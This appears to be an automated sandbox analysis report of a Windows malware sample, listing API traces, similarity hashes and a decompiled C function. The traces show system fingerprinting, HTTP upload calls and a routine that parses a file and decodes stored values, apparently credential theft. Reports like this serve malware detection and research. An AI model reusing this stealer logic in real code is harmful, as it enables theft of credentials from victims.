Part of subcall function 0063B1D0: RegCloseKey.ADVAPI32(00635AF9), ref: 0063B236

lstrcat.KERNEL32(?,00000000), ref: 00635AFE
lstrcat.KERNEL32(?,00418BC4), ref: 00635B0D
lstrcat.KERNEL32(?,0041A580), ref: 00635B1D

Part of subcall function 0063B250: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0063B25D
Part of subcall function 0063B250: RtlAllocateHeap.NTDLL(00000000), ref: 0063B264
Part of subcall function 0063B250: memset.NTDLL ref: 0063B275
Part of subcall function 0063B250: GlobalMemoryStatusEx.KERNEL32(00000040), ref: 0063B286
Part of subcall function 0063B250: __aulldiv.LIBCMT ref: 0063B2A0
Part of subcall function 0063B250: wsprintfA.USER32 ref: 0063B2CC

lstrcat.KERNEL32(?,00000000), ref: 00635B2D
lstrcat.KERNEL32(?,00418BC4), ref: 00635B3C
lstrcat.KERNEL32(?,0041A2A8), ref: 00635B4D

Part of subcall function 0063B2E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0063B2F4
Part of subcall function 0063B2E0: RtlAllocateHeap.NTDLL(00000000), ref: 0063B2FB
Part of subcall function 0063B2E0: RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[c), ref: 0063B31B
Part of subcall function 0063B2E0: RegQueryValueExA.ADVAPI32(X[c,0041A4DC,00000000,00000000,?,000000FF), ref: 0063B33C
Part of subcall function 0063B2E0: RegCloseKey.ADVAPI32(X[c), ref: 0063B346

lstrcat.KERNEL32(?,00000000), ref: 00635B5D
lstrcat.KERNEL32(?,0041A0A8), ref: 00635B6E

Part of subcall function 0063B360: GetCurrentProcess.KERNEL32(00000000), ref: 0063B36F
Part of subcall function 0063B360: IsWow64Process.KERNEL32(00000000), ref: 0063B376

lstrcat.KERNEL32(?,00000000), ref: 00635B7E
lstrcat.KERNEL32(?,0041A10C), ref: 00635B8F
lstrcat.KERNEL32(?,00418BC4), ref: 00635B9E
lstrcat.KERNEL32(?,0041A798), ref: 00635BAF
lstrcat.KERNEL32(?,00000000), ref: 00635BBF
lstrcat.KERNEL32(?,00418BC4), ref: 00635BCE
lstrcat.KERNEL32(?,0041A424), ref: 00635BDF

Part of subcall function 0063B3D0: wsprintfA.USER32 ref: 0063B42C

lstrcat.KERNEL32(?,00000000), ref: 00635BEF
lstrcat.KERNEL32(?,00418BC0), ref: 00635BFE
lstrcat.KERNEL32(?,0041A75C), ref: 00635C0E

Part of subcall function 0063AEA0: GetProcessHeap.KERNEL32(00000000,00000104,?,00635C19), ref: 0063AEAD
Part of subcall function 0063AEA0: RtlAllocateHeap.NTDLL(00000000,?,00635C19), ref: 0063AEB4
Part of subcall function 0063AEA0: GetComputerNameA.KERNEL32(00635C19,00000104), ref: 0063AECC

lstrcat.KERNEL32(?,00000000), ref: 00635C1E
lstrcat.KERNEL32(?,00418BC4), ref: 00635C2D
lstrcat.KERNEL32(?,0041A4A4), ref: 00635C3E

Part of subcall function 0063AEF0: GetProcessHeap.KERNEL32(00000000,00000104,?,00635C49), ref: 0063AEFD
Part of subcall function 0063AEF0: RtlAllocateHeap.NTDLL(00000000,?,00635C49), ref: 0063AF04
Part of subcall function 0063AEF0: GetUserNameA.ADVAPI32(?,00000104), ref: 0063AF1C

lstrcat.KERNEL32(?,00000000), ref: 00635C4E
lstrcat.KERNEL32(?,00418BC4), ref: 00635C5D
lstrcat.KERNEL32(?,0041A3C0), ref: 00635C6E
lstrcat.KERNEL32(?,00000000), ref: 00635C7E
lstrcat.KERNEL32(?,00418BC4), ref: 00635C8D
lstrcat.KERNEL32(?,0041A6C0), ref: 00635C9D

Part of subcall function 0063B490: GetProcessHeap.KERNEL32(00000000,00000104), ref: 0063B4A4
Part of subcall function 0063B490: RtlAllocateHeap.NTDLL(00000000), ref: 0063B4AB
Part of subcall function 0063B490: RegOpenKeyExA.ADVAPI32(80000002,0041A610,00000000,00020119,00635CA8), ref: 0063B4CB
Part of subcall function 0063B490: RegQueryValueExA.ADVAPI32(00635CA8,0041A1F4,00000000,00000000,?,000000FF), ref: 0063B4EC
Part of subcall function 0063B490: RegCloseKey.ADVAPI32(00635CA8), ref: 0063B4F6

lstrcat.KERNEL32(?,00000000), ref: 00635CAD
lstrcat.KERNEL32(?,00418BC4), ref: 00635CBC
lstrcat.KERNEL32(?,0041A074), ref: 00635CCD

Part of subcall function 0063B510: GetCurrentHwProfileA.ADVAPI32(?), ref: 0063B51D
Part of subcall function 0063B510: GetProcessHeap.KERNEL32(00000000,00000064), ref: 0063B52B
Part of subcall function 0063B510: RtlAllocateHeap.NTDLL(00000000), ref: 0063B532
Part of subcall function 0063B510: memset.NTDLL ref: 0063B549
Part of subcall function 0063B510: lstrcat.KERNEL32(?,?), ref: 0063B55A

lstrcat.KERNEL32(?,00000000), ref: 00635CDD
lstrcat.KERNEL32(?,00418BC0), ref: 00635CEC
lstrcat.KERNEL32(?,0041A31C), ref: 00635CFD
lstrcat.KERNEL32(?,00418BC4), ref: 00635D0C
lstrlen.KERNEL32(?), ref: 00635D22

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$Heap$Process$Allocate$wsprintf$CloseNameOpen$CurrentLocalQueryValuememset$KeyboardLayoutListLocaleStatusTimeUser$AllocComputerDefaultFileFreeGlobalHandleInfoInformationMemoryModulePowerProfileSystemWow64Zone__aulldivlstrlen
String ID:
API String ID: 874587921-0
Opcode ID: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction ID: a44bb76c8ab1ffce0ec3a8c5452a43c7ec1c47b2255abefac85b7ac257af2b0d
Opcode Fuzzy Hash: bcc991ba470c67d8952ad77bc2a985274ce3c746d34fc9ddb68a3c0860890d22
Instruction Fuzzy Hash: 76C12BBA611504FFCB00DBE4DF89D9E77F9AF4C3457208559B201D3661CB38AA20DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00634E30, Relevance: 84.4, APIs: 56, Instructions: 371stringnetworkmemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00800000,?,00000200,?,000001F4,?,00000000,00001388), ref: 00634E7A
RtlAllocateHeap.NTDLL(00000000), ref: 00634E81
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00634EA8
InternetSetOptionA.WININET(?,00000002,000927C0,00000004), ref: 00634ECA
StrCmpCA.SHLWAPI(?,00418B90), ref: 00634EED
lstrcat.KERNEL32(?,00000000), ref: 00634F20
lstrcat.KERNEL32(?,00418B9C), ref: 00634F32
lstrcat.KERNEL32(?,00418BA0), ref: 00634F44
lstrcat.KERNEL32(?,?), ref: 00634F58
lstrcat.KERNEL32(?,00418BA8), ref: 00634F6A
lstrcat.KERNEL32(?,00418B9C), ref: 00634F7C
lstrcat.KERNEL32(?,0041A1BC), ref: 00634F90
lstrcat.KERNEL32(?,?), ref: 00634FA4
InternetConnectA.WININET(?,?,000001BB,00000000,00000000,00000003,00000000,00000000), ref: 00634FCD
InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,00000000), ref: 00634FF2
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00C00100,00000000), ref: 00635037
HttpOpenRequestA.WININET(00000000,0041A590,?,0041A2D8,00000000,00000000,00400100,00000000), ref: 00635069
lstrcat.KERNEL32(?,00418BA0), ref: 0063508E
lstrcat.KERNEL32(?,?), ref: 006350A2
lstrcat.KERNEL32(?,00418B9C), ref: 006350B4
lstrcat.KERNEL32(?,0041A2CC), ref: 006350C8
lstrcat.KERNEL32(?,0041A058), ref: 006350DB
lstrcat.KERNEL32(?,00418BAC), ref: 006350ED
lstrcat.KERNEL32(?,?), ref: 006350FE
lstrcat.KERNEL32(?,00418B9C), ref: 00635110
lstrcat.KERNEL32(?,00418BA0), ref: 00635122
lstrcat.KERNEL32(?,?), ref: 00635136
lstrcat.KERNEL32(?,00418B9C), ref: 00635148
lstrcat.KERNEL32(?,0041A644), ref: 0063515C
lstrcat.KERNEL32(?,?), ref: 0063516D
lstrcat.KERNEL32(?,00418BB4), ref: 0063517F
lstrcat.KERNEL32(?,0041A038), ref: 00635192
lstrcat.KERNEL32(?,00418B9C), ref: 006351A4
lstrcat.KERNEL32(?,0041A538), ref: 006351B7
lstrcat.KERNEL32(?,00418BB8), ref: 006351C9
lstrlen.KERNEL32(?), ref: 006351D6
lstrlen.KERNEL32(?), ref: 006351E8
GetProcessHeap.KERNEL32(00000000,?), ref: 006351FF
RtlAllocateHeap.NTDLL(00000000), ref: 00635206
lstrlen.KERNEL32(?), ref: 00635219
memcpy.NTDLL(?,?,00000000), ref: 0063522E
lstrlen.KERNEL32(?,?,?), ref: 00635243
memcpy.NTDLL(?), ref: 00635250
lstrlen.KERNEL32(?), ref: 0063525D
lstrlen.KERNEL32(?,?,00000000), ref: 00635272
memcpy.NTDLL(?), ref: 00635282
lstrlen.KERNEL32(?,?,?), ref: 006352C1
HttpSendRequestA.WININET(00000000,?,00000000), ref: 006352D6
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 006352F5
StrCmpCA.SHLWAPI(?,00418B8C), ref: 0063530B
Sleep.KERNEL32(00007530), ref: 0063531C
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0063536D
lstrcat.KERNEL32(?,00000000), ref: 006353A9
InternetCloseHandle.WININET(?), ref: 006353B8
InternetCloseHandle.WININET(?), ref: 006353C5
InternetCloseHandle.WININET(00000000), ref: 006353D2

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$Internet$lstrlen$HeapHttp$CloseHandleOpenRequestmemcpy$AllocateConnectProcess$FileInfoOptionQueryReadSendSleep
String ID:
API String ID: 3074752877-0
Opcode ID: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction ID: 04fb5bda1a2f30628e74ff4eb44e86bb68dce190e4089ee110d0131bd9243f1f
Opcode Fuzzy Hash: 3fd957372ece58c1ff5bf28ab583384af2cc8a0d24938a39976a5e03bacea6dd
Instruction Fuzzy Hash: AEF1A6B5A41218AFDB20DFA0DD48FDA7379BF48704F0085D9F209A7181DB74AAA4CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00409060, Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 236
stringfileCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00409060(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				long _v8;
				intOrPtr _v12;
				char* _v16;
				char _v284;
				char* _v288;
				void* _v292;
				char* _v296;
				struct _OVERLAPPED* _v300;
				long _v304;
				char* _v308;
				intOrPtr _t59;
				char* _t72;
				intOrPtr _t88;
				intOrPtr _t90;
				intOrPtr _t93;
				intOrPtr _t96;
				char* _t98;
				char* _t99;
				intOrPtr _t104;
				intOrPtr _t108;
				char* _t110;
				char* _t111;
				intOrPtr _t116;
				void* _t118;
				intOrPtr _t120;
				char* _t129;
				char* _t130;
				intOrPtr _t131;
				intOrPtr _t132;
				intOrPtr _t133;
				intOrPtr _t134;
				char* _t136;
				char* _t140;
				intOrPtr _t147;
				char* _t152;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t159;
				intOrPtr _t160;
				char* _t163;
				intOrPtr _t164;
				intOrPtr _t165;
				char* _t168;
				intOrPtr _t169;
				intOrPtr _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t59 =  *0x41a81c(_a12);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B650(__ecx, 0x41a7f0);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B720( &_v284, 0x104);
						 *0x41aa24( &_v284, _a12);
						 *0x41aa24( &_v284, 0x414018);
						_t147 =  *0x41a7e4; // 0x878100
						 *0x41aa24( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 = CreateFileA( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41a840();
						}
						SetFilePointer(_v292, 0, 0, 2);
						_v304 = GetFileSize(_v292, 0);
						SetFilePointer(_v292, 0, 0, 0);
						_t72 = E0040B590(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						ReadFile(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41a170; // 0x878208
							_v296 = StrStrA(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41a170; // 0x878208
							_t31 =  *0x41a908(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41a3b0; // 0x878220
							_v288 = StrStrA(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41a334; // 0x8777e8
							_t156 =  *0x41a838; // 0x0
							 *0x41aa24(_t156, _t131);
							_t132 =  *0x41a838; // 0x0
							 *0x41aa24(_t132, _a8);
							_t157 =  *0x41a838; // 0x0
							 *0x41aa24(_t157, "\n");
							_t88 =  *0x41a37c; // 0x877808
							_t133 =  *0x41a838; // 0x0
							 *0x41aa24(_t133, _t88);
							_t90 =  *0x41a838; // 0x0
							 *0x41aa24(_t90, _a4);
							_t134 =  *0x41a838; // 0x0
							 *0x41aa24(_t134, "\n");
							_t159 =  *0x41a144; // 0x877708
							_t93 =  *0x41a838; // 0x0
							 *0x41aa24(_t93, _t159);
							_t160 =  *0x41a838; // 0x0
							 *0x41aa24(_t160, _v296);
							_t96 =  *0x41a838; // 0x0
							 *0x41aa24(_t96, "\n");
							_t136 =  *0x41a5b8; // 0x8788f8
							_t98 = StrStrA(_v288 + 1, _t136);
							_t99 =  *0x41a5b8; // 0x8788f8
							_t41 =  *0x41a908(_t99) + 3; // 0x3
							_v296 =  &(_t98[_t41]);
							_t163 =  *0x41a5b4; // 0x878538
							_v288 = StrStrA(_v296, _t163) - 3;
							 *_v288 = 0;
							_t164 =  *0x41a06c; // 0x877718
							_t104 =  *0x41a838; // 0x0
							 *0x41aa24(_t104, _t164);
							_t165 =  *0x41a838; // 0x0
							 *0x41aa24(_t165, E004077A0(_v296, _t182, _v296));
							_t108 =  *0x41a838; // 0x0
							 *0x41aa24(_t108, "\n");
							_t140 =  *0x41a5b4; // 0x878538
							_t110 = StrStrA(_v288 + 1, _t140);
							_t111 =  *0x41a5b4; // 0x878538
							_t49 =  *0x41a908(_t111) + 3; // 0x3
							_v296 =  &(_t110[_t49]);
							_t168 =  *0x41a70c; // 0x878fa0
							_v288 = StrStrA(_v296, _t168) - 3;
							 *_v288 = 0;
							_t169 =  *0x41a14c; // 0x877748
							_t116 =  *0x41a838; // 0x0
							 *0x41aa24(_t116, _t169);
							_t118 = E004077A0(_v296, _t182, _v296);
							_t176 = _t176 + 8;
							_t170 =  *0x41a838; // 0x0
							 *0x41aa24(_t170, _t118);
							_t120 =  *0x41a838; // 0x0
							 *0x41aa24(_t120, "\n\n");
							_v16 = _v288 + 1;
						}
						CloseHandle(_v292);
						goto L7;
					}
				}
				return _t59;
			}

0x0040906e
0x00409074
0x00409079
0x00409084
0x00409089
0x0040908c
0x00409093
0x004090a5
0x004090b5
0x004090c7
0x004090cd
0x004090db
0x004090e1
0x004090eb
0x00409111
0x0040911e
0x004093f3
0x00000000
0x004093f3
0x00409131
0x00409146
0x00409159
0x00409169
0x0040916e
0x00409171
0x0040917d
0x00409198
0x0040919e
0x0040919e
0x004091af
0x004091b5
0x004091bc
0x00000000
0x00000000
0x004091c2
0x004091d5
0x004091d9
0x004091df
0x004091f6
0x00409202
0x00409205
0x0040920c
0x00409213
0x0040921d
0x00409224
0x0040922f
0x00409236
0x0040923c
0x00409242
0x00409249
0x00409253
0x00409259
0x00409264
0x0040926b
0x00409271
0x00409278
0x0040927e
0x0040928b
0x00409292
0x0040929d
0x004092a3
0x004092a9
0x004092ba
0x004092c2
0x004092ce
0x004092d2
0x004092d8
0x004092ef
0x004092fb
0x004092fe
0x00409305
0x0040930b
0x00409321
0x00409328
0x00409333
0x00409339
0x0040933f
0x00409350
0x00409358
0x00409364
0x00409368
0x0040936e
0x00409385
0x00409391
0x00409394
0x0040939b
0x004093a1
0x004093ae
0x004093b3
0x004093b7
0x004093be
0x004093c9
0x004093cf
0x004093de
0x004093de
0x004093ed
0x00000000
0x004093ed
0x00409093
0x004093fd

APIs

lstrcat.KERNEL32(?,008771A0), ref: 004090B5
lstrcat.KERNEL32(?,00414018), ref: 004090C7
lstrcat.KERNEL32(?,00878100), ref: 004090DB
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0040910B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00409131
GetFileSize.KERNEL32(00000000,00000000), ref: 00409140
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00409159
new[].LIBCMTD ref: 00409169
ReadFile.KERNEL32(00000000,?,00000000,00000000,00000000), ref: 00409198
StrStrA.SHLWAPI(?,00878208), ref: 004091A9
lstrlen.KERNEL32(00878208), ref: 004091C9
StrStrA.SHLWAPI(00000000,00878220), ref: 004091ED
lstrcat.KERNEL32(00000000,008777E8), ref: 00409213
lstrcat.KERNEL32(00000000,?), ref: 00409224
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409236
lstrcat.KERNEL32(00000000,00877808), ref: 00409249
lstrcat.KERNEL32(00000000,00000020), ref: 00409259
lstrcat.KERNEL32(00000000,00418BC4), ref: 0040926B
lstrcat.KERNEL32(00000000,00877708), ref: 0040927E
lstrcat.KERNEL32(00000000,00000000), ref: 00409292
lstrcat.KERNEL32(00000000,00418BC4), ref: 004092A3
StrStrA.SHLWAPI(?,008788F8), ref: 004092BA
lstrlen.KERNEL32(008788F8), ref: 004092C8
StrStrA.SHLWAPI(00000000,00878538), ref: 004092E6
lstrcat.KERNEL32(00000000,00877718), ref: 0040930B

Part of subcall function 004077A0: lstrlen.KERNEL32(0040931D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 004077EB
Part of subcall function 004077A0: CryptStringToBinaryA.CRYPT32(0040931D,00000000), ref: 004077F6

lstrcat.KERNEL32(00000000,00000000), ref: 00409328
lstrcat.KERNEL32(00000000,00418BC4), ref: 00409339
StrStrA.SHLWAPI(?,00878538), ref: 00409350
lstrlen.KERNEL32(00878538), ref: 0040935E
StrStrA.SHLWAPI(00000000,00878FA0), ref: 0040937C
lstrcat.KERNEL32(00000000,00877748), ref: 004093A1

Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078B9
Part of subcall function 004077A0: lstrcat.KERNEL32(?,0041401A), ref: 004078CD
Part of subcall function 004077A0: lstrcat.KERNEL32(0041401A,0041401A), ref: 004078EE

lstrcat.KERNEL32(00000000,00000000), ref: 004093BE
lstrcat.KERNEL32(00000000,00418BC0), ref: 004093CF
CloseHandle.KERNEL32(00000000), ref: 004093ED

Strings

, xrefs: 0040908F

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID:
API String ID: 3141130001-3916222277
Opcode ID: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction ID: 7e99e970e00657f65ab1c061739f90e233e970cfeaa3462852b2302322d486d4
Opcode Fuzzy Hash: 83493bb6aca1adf2ef6831467ff656548a40d202072a372698ec97d6f1694147
Instruction Fuzzy Hash: 58A11AB5A11204AFC715EBA4DD88FDA77F9EB4C304F00C5A9F60993291C738A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 006392B0, Relevance: 61.5, APIs: 34, Strings: 1, Instructions: 236stringfileCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0041A0C4), ref: 00639305
lstrcat.KERNEL32(?,00414018), ref: 00639317
lstrcat.KERNEL32(?,0041A7E4), ref: 0063932B
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 0063935B
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 00639381
GetFileSize.KERNEL32(00000000,00000000), ref: 00639390
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 006393A9
new[].LIBCMTD ref: 006393B9
ReadFile.KERNEL32(00000000,?,00000000,0041ABA8,00000000), ref: 006393E8
StrStrA.SHLWAPI(?,0041A170), ref: 006393F9
lstrlen.KERNEL32(0041A170), ref: 00639419
StrStrA.SHLWAPI(00000000,0041A3B0), ref: 0063943D
lstrcat.KERNEL32(0041A838,0041A334), ref: 00639463
lstrcat.KERNEL32(0041A838,?), ref: 00639474
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00639486
lstrcat.KERNEL32(0041A838,0041A37C), ref: 00639499
lstrcat.KERNEL32(0041A838,00000020), ref: 006394A9
lstrcat.KERNEL32(0041A838,00418BC4), ref: 006394BB
lstrcat.KERNEL32(0041A838,0041A144), ref: 006394CE
lstrcat.KERNEL32(0041A838,00000000), ref: 006394E2
lstrcat.KERNEL32(0041A838,00418BC4), ref: 006394F3
StrStrA.SHLWAPI(?,0041A5B8), ref: 0063950A
lstrlen.KERNEL32(0041A5B8), ref: 00639518
StrStrA.SHLWAPI(00000000,0041A5B4), ref: 00639536
lstrcat.KERNEL32(0041A838,0041A06C), ref: 0063955B

Part of subcall function 006379F0: lstrlen.KERNEL32(0063956D,00000001,?,00001FA0,00000000,00000000,?,00001FA0), ref: 00637A3B
Part of subcall function 006379F0: CryptStringToBinaryA.CRYPT32(0063956D,00000000), ref: 00637A46

lstrcat.KERNEL32(0041A838,00000000), ref: 00639578
lstrcat.KERNEL32(0041A838,00418BC4), ref: 00639589
StrStrA.SHLWAPI(?,0041A5B4), ref: 006395A0
lstrlen.KERNEL32(0041A5B4), ref: 006395AE
StrStrA.SHLWAPI(00000000,0041A70C), ref: 006395CC
lstrcat.KERNEL32(0041A838,0041A14C), ref: 006395F1

Part of subcall function 006379F0: lstrcat.KERNEL32(?,0041401A), ref: 00637B09
Part of subcall function 006379F0: lstrcat.KERNEL32(?,0041401A), ref: 00637B1D
Part of subcall function 006379F0: lstrcat.KERNEL32(0041401A,0041401A), ref: 00637B3E

lstrcat.KERNEL32(0041A838,00000000), ref: 0063960E
lstrcat.KERNEL32(0041A838,00418BC0), ref: 0063961F
CloseHandle.KERNEL32(00000000), ref: 0063963D

Strings

, xrefs: 006392DF

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$File$lstrlen$Pointer$BinaryCloseCreateCryptHandleReadSizeStringnew[]
String ID:
API String ID: 3141130001-3916222277
Opcode ID: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction ID: d93dc689f4632a76e8b311777e08e09efe0f3e45fffb42f502775ac3ebc0b8a0
Opcode Fuzzy Hash: ac1a501cdbda92d70ea82fc89cedc036c1a3fcebaa1d84251d868b40488cc35a
Instruction Fuzzy Hash: 3FA12BB5A12204AFC715EBA4DD89FDA77F9EB4C300F00C5A9F60993251C734A9A1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00407D50, Relevance: 45.3, APIs: 30, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00407D65
lstrcat.KERNEL32(?,00414018), ref: 00407D77

Part of subcall function 0040B8B0: GetSystemTime.KERNEL32(?,?,00000104), ref: 0040B8D1

lstrcat.KERNEL32(?,00000000), ref: 00407D8F
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00407DA2
wsprintfA.USER32 ref: 00407DCF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00407E1F
RtlAllocateHeap.NTDLL(00000000), ref: 00407E26
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407ED2
lstrcat.KERNEL32(?,00877828), ref: 00407EF9
lstrcat.KERNEL32(?,00877818), ref: 00407F1E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00407F30
lstrcat.KERNEL32(?,00877828), ref: 00407F58
lstrcat.KERNEL32(?,00877818), ref: 00407F7E

Part of subcall function 00407230: memset.MSVCRT ref: 00407282
Part of subcall function 00407230: LocalAlloc.KERNEL32(00000040,?), ref: 004072D1
Part of subcall function 00407230: lstrcat.KERNEL32(?,00000000), ref: 00407337

lstrcat.KERNEL32(?,00418BE0), ref: 00407FAE
lstrcat.KERNEL32(?,?), ref: 00407FC2
lstrcat.KERNEL32(?,004191EC), ref: 00407FD4
lstrcat.KERNEL32(?,?), ref: 00407FE8
lstrcat.KERNEL32(?,004191EC), ref: 00407FFA
lstrcat.KERNEL32(?,?), ref: 0040800E
lstrcat.KERNEL32(?,004191EC), ref: 00408020
lstrcat.KERNEL32(?,?), ref: 00408034
lstrcat.KERNEL32(?,004191EC), ref: 00408046
lstrcat.KERNEL32(?,?), ref: 0040805A
lstrcat.KERNEL32(?,004191EC), ref: 0040806C
lstrcat.KERNEL32(?,?), ref: 00408080
lstrcat.KERNEL32(?,004191EC), ref: 00408092
lstrcat.KERNEL32(?,00000000), ref: 004080D0
lstrcat.KERNEL32(?,00418BC4), ref: 004080E2
lstrlen.KERNEL32(?), ref: 004080F4
DeleteFileA.KERNEL32(?), ref: 00408144

Memory Dump Source

Source File: 00000012.00000002.778618300.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.778649657.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_400000_CFE8.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction ID: 0472a7c7585205d9353b1484faec9d34f3986521201bc2a8f856e71ef692a447
Opcode Fuzzy Hash: 44fd675b5e8f644ed4ffe8ab9f9041a44a66e566d68b538c606c3f53ab211c74
Instruction Fuzzy Hash: 0CB197B5A41108BBCB10DBA4DD8DFEA77B8AF4C704F008599F205A7181C739EA61CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00637FA0, Relevance: 45.3, APIs: 30, Instructions: 284stringmemoryfileCOMMON

Download Yara Rule

APIs

GetCurrentDirectoryA.KERNEL32(00000104,?), ref: 00637FB5
lstrcat.KERNEL32(?,00414018), ref: 00637FC7

Part of subcall function 0063BB00: GetSystemTime.KERNEL32(?,?,00000104), ref: 0063BB21

lstrcat.KERNEL32(?,00000000), ref: 00637FDF
CopyFileA.KERNEL32(00000000,?,00000001), ref: 00637FF2
wsprintfA.USER32 ref: 0063801F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0063806F
RtlAllocateHeap.NTDLL(00000000), ref: 00638076
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00638122
lstrcat.KERNEL32(?,0041A48C), ref: 00638149
lstrcat.KERNEL32(?,0041A15C), ref: 0063816E
StrCmpCA.SHLWAPI(?,00418BE0), ref: 00638180
lstrcat.KERNEL32(?,0041A48C), ref: 006381A8
lstrcat.KERNEL32(?,0041A15C), ref: 006381CE

Part of subcall function 00637480: memset.MSVCRT ref: 006374D2
Part of subcall function 00637480: LocalAlloc.KERNEL32(00000040,?), ref: 00637521
Part of subcall function 00637480: lstrcat.KERNEL32(?,00000000), ref: 00637587

lstrcat.KERNEL32(?,00418BE0), ref: 006381FE
lstrcat.KERNEL32(?,?), ref: 00638212
lstrcat.KERNEL32(?,004191EC), ref: 00638224
lstrcat.KERNEL32(?,?), ref: 00638238
lstrcat.KERNEL32(?,004191EC), ref: 0063824A
lstrcat.KERNEL32(?,?), ref: 0063825E
lstrcat.KERNEL32(?,004191EC), ref: 00638270
lstrcat.KERNEL32(?,?), ref: 00638284
lstrcat.KERNEL32(?,004191EC), ref: 00638296
lstrcat.KERNEL32(?,?), ref: 006382AA
lstrcat.KERNEL32(?,004191EC), ref: 006382BC
lstrcat.KERNEL32(?,?), ref: 006382D0
lstrcat.KERNEL32(?,004191EC), ref: 006382E2
lstrcat.KERNEL32(?,00000000), ref: 00638320
lstrcat.KERNEL32(?,00418BC4), ref: 00638332
lstrlen.KERNEL32(?), ref: 00638344
DeleteFileA.KERNEL32(?), ref: 00638394

Memory Dump Source

Source File: 00000012.00000002.778722057.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_630000_CFE8.jbxd

Similarity

API ID: lstrcat$FileHeap$AllocAllocateCopyCurrentDeleteDirectoryLocalProcessSystemTimelstrlenmemsetwsprintf
String ID:
API String ID: 3067815791-0
Opcode ID: ffd5550d78d5c5cbcce8ec1d2f464851c7de5c2aa3a5bccb6b89eb1b96e4b4a3
Instruction ID: 81ada93f2d9873b91d9a407323f13195ca378ed27c52ed3c0542e3bcc7e59a3e
